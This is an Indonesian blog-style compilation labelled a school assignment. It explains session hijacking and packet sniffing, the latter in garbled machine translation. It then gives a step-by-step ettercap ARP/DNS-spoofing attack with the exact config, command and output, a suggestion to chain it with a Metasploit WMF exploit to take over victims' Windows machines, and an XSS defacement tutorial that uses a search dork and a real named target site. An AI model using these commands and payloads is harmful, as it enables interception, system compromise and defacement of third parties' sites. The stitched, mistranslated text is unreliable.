tugas kkpi 2

Penjelasan Mengenai Session Hijacking

Session hijacking, salah satu jenis serangan yang bisa dilakuin kalo kita mau ngebajak account salah satu temen kita di satu website. Session hijacking ini sebenernya dulu udah pernah beberapa kali gw sebut-sebut di sini, yang paling gw inget itu pas gw habis dapet tugas dari dosen buat ngebajak account Facebook atau Twitter orang pake Firesheep.

Kenapa gw ngebahas masalah ini lagi? Jadi ceritanya gw ngajar workshop untuk anak-anak SMA di kampus, & bagian yang harus gw ajarin itu ngebahas masalah secure browsing & web hacking. Di bagian secure browsing, salah satunya bahasannya mengenai security threat session hijacking. Nah, session hijacking ini bagian yang lumayan sering bikin bingung anak-anak murid gw di kelas workshop.

Session hijacking, sesuai dengan namanya, dilakuin dengan cara ngebajak session dari dari suatu user ke suatu website, misalnya Facebook (ini yang paling populer soalnya). Tapi apa itu session?

Kalo kita buka browser kita & ngetik alamat URL Facebook, kita bakal nemuin form login untuk input username & password. Setelah username & password kita isi, lalu kita submit form itu. Lalu kita masuk ke Facebook sebagai account yang kita input username & passwordnya. Pernah nggak kita kepikiran gimana caranya website kayak Facebook ngenalin komputer tempat kita login? Kenapa waktu kita login itu yang bisa kita utak atik cuma account kita, nggak pernah ketuker sama account orang-orang lain yang login ke Facebook di waktu yang sama dengan kita? Itu semua karena ada session.

Session ini punya kode pengenal yang namanya session ID. Waktu kita konek ke Facebook, otomatis di server digenerate session ID yang berfungsi untuk pengenal antara komputer kita & server. Lalu data session ID itu dikirim ke komputer kita masing-masing. Waktu kita login, username & password kita bakal dicocokin dengan data user yang terdaftar di database Facebook. Kalau cocok, session yang kita pake nanti bakal dikasih akses ke data-data account yang kita pake login tadi.

Karena session ID diperluin sebagai pengenal session, setiap kali kita mau buka halaman baru atau ngupdate status di Facebook, session ID bakal dikirim ke sana bersamaan dengan URL halaman baru yang mau kita buka atau teks yang mau kita tulis di status update kita. Karena session ID ikut dikirim, server Facebook bisa ngenalin user mana yang ngerequest buat ngebuka halaman baru & user mana yang mau ngupdate status, & nggak bakalan ketuker dengan user lain.

Session hijacking dilakuin dengan cara ngedapetin session ID & data-data lain yang diperluin server untuk ngenalin user yang lagi login waktu itu. Session hijacking bisa dilakuin pake beberapa teknik, contohnya network sniffing & cookie stealing.

Network sniffing dilakuin dengan cara masang sniffer di jaringan yang dilewatin data session yang dikirim user ke server atau sebaliknya. Tapi serangan ini bisa dicegah kalo kita pake protocol HTTPS, karena data session yang dikirim lewat protocol HTTPS dienkripsi. Kalo datanya dienkripsi, penyerang nggak bakalan bisa make data itu selama dia nggak bisa ngedekripsinya.

Cookie stealing dilakuin dengan cara nyolong data session yang disimpen di dalam cookie browser punya user yang bersangkutan. Cara ngelakuinnya yang paling barbar sih tinggal colok flash disk ke komputer korban, copy cookie yang nyimpen data sessionnya, lalu paste di komputer kita. Cookie stealing yang lebih keren bisa dilakuin pake teknik XSS, tapi agak susah untuk dilakuin kalo security website targetnya bagus.

TEKNIK PACKET SNIFFING

Packet Sniffing

Packet sniffing adalah bentuk kawat-tap diterapkan pada jaringan komputer bukan jaringan telepon. Itu datang menjadi mode dengan Ethernet, yang dikenal sebagai jaringan "bersama media". Ini berarti bahwa lalu lintas di segmen melewati oleh semua host yang melekat pada segmen tersebut. Ethernet card memiliki filter yang mencegah mesin host dari melihat lalu lintas yang ditujukan ke stasiun lain. Program Sniffing mematikan filter, dan dengan demikian melihat lalu lintas everyones.

Jaringan saat ini semakin mempekerjakan "switch" teknologi, mencegah teknik ini dari yang berhasil seperti di masa lalu. Hal ini masih berguna, meskipun, seperti yang menjadi semakin mudah untuk menginstal program sniffing remote di server dan router, melalui mana banyak arus lalu lintas.

Hari jaringan sudah dapat mengandung built-in modul sniffing. Hub Kebanyakan mendukung standar RMON, yang memungkinkan penyusup untuk mengendus jarak jauh menggunakan SNMP, yang memiliki otentikasi yang lemah. Banyak perusahaan mempekerjakan Jaringan Associates "Distributed Sniffer Server", yang diatur dengan mudah untuk menebak password. Windows NT mesin sering memiliki "Jaringan Monitoring Agen" diinstal, yang lagi-lagi memungkinkan untuk remote sniffing.
  
Paket sniffing sulit untuk mendeteksi, tapi bisa dilakukan. Tapi kesulitan dari solusi berarti bahwa dalam prakteknya, hal ini jarang dilakukan.

Popularitas paket sniffing berasal dari kenyataan bahwa ia melihat segalanya. Item khas mendengus meliputi:

SMTP, POP, IMAP lalu lintas
     Memungkinkan penyusup untuk membaca e-mail yang sebenarnya.
POP, IMAP, HTTP Basic, Telnet otentikasi
     Membaca password dari kawat yang jelas-teks.
SMB, NFS, FTP lalu lintas
     Membaca file dari kawat.
SQL databse
     Membaca transaksi keuangan dan nomor kartu kredit.

Tidak hanya bisa sniffing membaca informasi yang membantu masuk ke sistem, itu adalah penyusupan dengan sendirinya karena membaca sangat file penyusup ini tertarik

Teknik ini dapat dikombinasikan dengan transimission aktif untuk serangan yang efektif bahkan lebih.

IP spoofing
     Ketika program sniffing pada segmen antara dua titik akhir berkomunikasi, penyusup dapat meniru salah satu ujung untuk membajak koneksi. Hal ini sering dikombinasikan dengan penolakan layanan (DoS) serangan terhadap alamat palsu sehingga mereka tidak mengganggu lagi.
mentah mengirimkan
     Memungkinkan abonormal lalu lintas yang dihasilkan, seperti banjir TCP SYN, fragmen tumpang tindih, fragmen ilegal, dan sidik jari TCP. Serangan terbaik adalah fragmentasi parah, yang fragmen header TCP untuk mencegah firewall dari penyaringan dengan nomor port.

Alat Packet sniffing biasanya ditulis oleh hacker. Ada banyak ekstensi untuk menarik data yang diinginkan dari jaringan. Yang paling populer adalah program sniffing password.

cara kerja packet sniffing
Packet sniffer menangkap "biner" data melewati jaringan, kebanyakan jika tidak semua sniffer yang layak "decode" data ini ke bentuk yang dapat dibaca manusia. Untuk membuatnya bahkan lebih mudah (bagi manusia) langkah lain terjadi yang dikenal sebagai "analisa protokol". Ada berbagai tingkat analisis yang terjadi, ada yang sederhana, hanya mendobrak "paket" informasi. Lain lebih kompleks memberikan "rinci" informasi tentang apa yang dilihatnya pada paket (yakni, menyoroti password untuk layanan a).

Satu hal yang sangat penting (dan sangat sederhana) untuk dipahami adalah bahwa sniffer harus pada "kawat" yang sama di mana data tersebut berpergian ke. Secara singkat "probing" perangkat yang "menangkap" memiliki data yang akan di kawat yang sama. Data kemudian dapat diteruskan ke komputer decoding pada jaringan yang berbeda.

Situasi: Bob dan John terlibat dalam sesi chatting. Anda berada di kota yang jauh terpisah dari tempat kedua orang itu berada. Bob dan Yohanes sedang berbicara rincian rahasia atas pada kesepakatan kokain. Anda (warga negara yang patuh hukum) mereka memutuskan untuk mengendus sesi chat (dari lokasi Anda) untuk membantu FBI payudara Bob dan John.

Jawaban yang sederhana adalah Anda TIDAK BISA melakukan itu karena Anda tidak memiliki akses ke jalan yang data perjalanan dari! Tentu saja jika Anda hacker baik (atau juga Cracker) maka Anda bisa menginstal sebuah Trojan di komputer Bob atau John's dan menjalankan sniffer dari sistem mereka, sehingga sniffer itu sendiri ada di kabel yang sama.

teknik dns spoofing.

disini saya akan menjelaskan teknik dns spoofing.
alat yang di butuhkan cuma cuma backtrack aja...

1.edit file etter.dns ( vim /usr/local/share/ettercap/etter.dns).. disini saya akan meredirect setiap request ke domain *.com ke alamat ip 172.18.2.150
Code:
############################################################################
# #
# ettercap -- etter.dns -- host file for phantom plugin #
# #
# Copyright (C) 2001 ALoR #
# NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
# #
# Sample hosts file for phantom plugin #
# #
# the format is : #
# #
# xxx.xxx.xxx.xxxwww.myhostname.com #
# #
# NOTE: the wildcarded hosts can't be used to poison the PTR requests #
# so if you want to reverse poison you have to specify a plain #
# host. (look at the microsoft example) #
# #
############################################################################

################################
# microsoft sucks;)
# redirect it to www.linux.org
#

#redirect domain *.com to ip 172.18.2.150 (attacker)

*.com A 172.18.2.150



2.setelah itu tinggal jalankan ettercap untuk melakukan arpspoofing dan dns spoofing dalam 1 subnet (255.255.255.0)..
disini saya menggunakan plugin dns_spoof..plugin ini akan membaca file etter.dns yang uda kita modifikasi
Code:
[root@localhost]#ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /172.18.2.1/ //


3.jika sudah berhasil akan tampak seperti
Code:
[root@localhost]# ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /172.18.2.1/ //

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

eth0 -> 00:13:D3:EA:D2:C9 172.18.2.150 255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

55 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 172.18.2.1 00:1C:25:07:93:B5

GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

dns_spoof: [filetransfer.msg.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [tools.search.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [insider.msg.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [address.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [insider.msg.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [sip.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [stun.voice.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [relay.voice.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [pgq.yahoo.com] spoofed to [172.18.2.150]
dns_spoof: [us.version.worldofwarcraft.com] spoofed to [172.18.2.150]
dns_spoof: [ocsp.verisign.com] spoofed to [172.18.2.150]
dns_spoof: [dnl-us9.kaspersky-labs.com] spoofed to [172.18.2.150]
dns_spoof: [dnl-eu11.kaspersky-labs.com] spoofed to [172.18.2.150]
dns_spoof: [www.update.microsoft.com] spoofed to [172.18.2.150]
dns_spoof: [dnl-eu10.kaspersky-labs.com] spoofed to [172.18.2.150]



fuihhhhhhh..semua traffic ke domain .com di alihkan ke ip 172.18.2.150
note: 172.18.2.1 adalah gateway

nah sekarang apa hubungannya dengan client side attack...??microsoft windows(2000,2003,vista,xp) mempunyai kelemahan pada browser IE ( 6 dan 7 ) dalam mengeksekusi file wmf...
jadinya gimana....???ketika proses dns spoof berjalan,anda bisa menjalankan exploit itu dengan bantuan metasploit..exploit akan mengaktifkan port 80,ketika target membuka http://www.yahoo.com maka akan langsung di redirect ke alamat 172.18.2.150 (attacker)..apa yang terjadi..?? target akan secara langsung mendownload file wmf.dan silahkan lihat dishale yang menjalankan exploit tadi (metasploit)....kita akan langsung berada di system 32 target..

alternatif lain yang digunakan adalah exploitasi winamp,cursor animation dan yahoo messenger dari target....tekniknya juga sama dengan teknik diatas...untuk exploit silahkan cari http://www.milw0rm.com

kalau tactical exploitation dari seperti yang di jelaskan suhu hdd more (founder metasploit) menyusul....teknik ini sempurna bangat...windows full firewall+antivirus+patch masih bisa di bobol. hee.. :)
maaf ya kalo tutornya masih acak2an.. soalnya masih cupu kk.. :D

 

Cara Deface Website Menggunakan Teknik XSS Vulnerability | Cirebon-Cyber4rt - Udah lama ngga.


1). Pertama, Masukan Dorknya :

inurl:"/showcatrows.php?CategoryID="

2). Kalo sudah, Pilih salah satu web yang akan kita deface.

Contoh : saya pakai web ini http://www.examsolutions.co.uk/...?CategoryID=13

3). Jika sudah masuk ke halaman web target, kita modifikasi sedikit URL web target dengan menambahkan tanda " dan > setelah angka, tepatnya pada akhir URL. Lalu tambahkan kode HTML deface kita.

Contoh : http://www.examsolutions.co.uk/...?CategoryID=13"><marquee><h1>Hacked by Cirebon-Cyber4rt</h1></marquee>

4). Kemudian tekan Enter.

5). Selesai, Website sudah berhasil kita deface :D

Triknya memang cukup simpel, dimana kita memanfaatkan celah keamanan pada XSS sebuah website dengan memasukan sebuah code/script HTML.

Sekian tutorial deface website kali ini dari saya, semoga artikel tentang Cara Deface Website Menggunakan Teknik XSS Vulnerability ini dapat bermanfaat bagi sobat.